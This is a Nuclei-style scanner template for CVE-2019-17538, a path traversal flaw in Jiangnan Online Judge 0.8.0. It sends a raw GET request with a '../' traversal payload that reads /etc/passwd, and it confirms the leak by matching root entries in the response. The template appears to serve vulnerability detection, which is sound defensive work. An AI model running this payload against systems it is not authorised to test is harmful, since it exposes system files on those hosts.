id: CVE-2019-17538

info:
  name: Jnoj arbitrary local file inclusion (LFI)
  author: pussycat0x
  severity: high
  description: Jiangnan Online Judge (aka jnoj) 0.8.0 has directory traversal (LFI) vulnerability via web/polygon/problem/viewfile?id=1&name=../
  reference:
    - https://github.com/shi-yang/jnoj/issues/53
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-17538
    cwe-id: CWE-22
  tags: cve,cve2019,jnoj,lfi

requests:
  - raw:
      - |
        GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body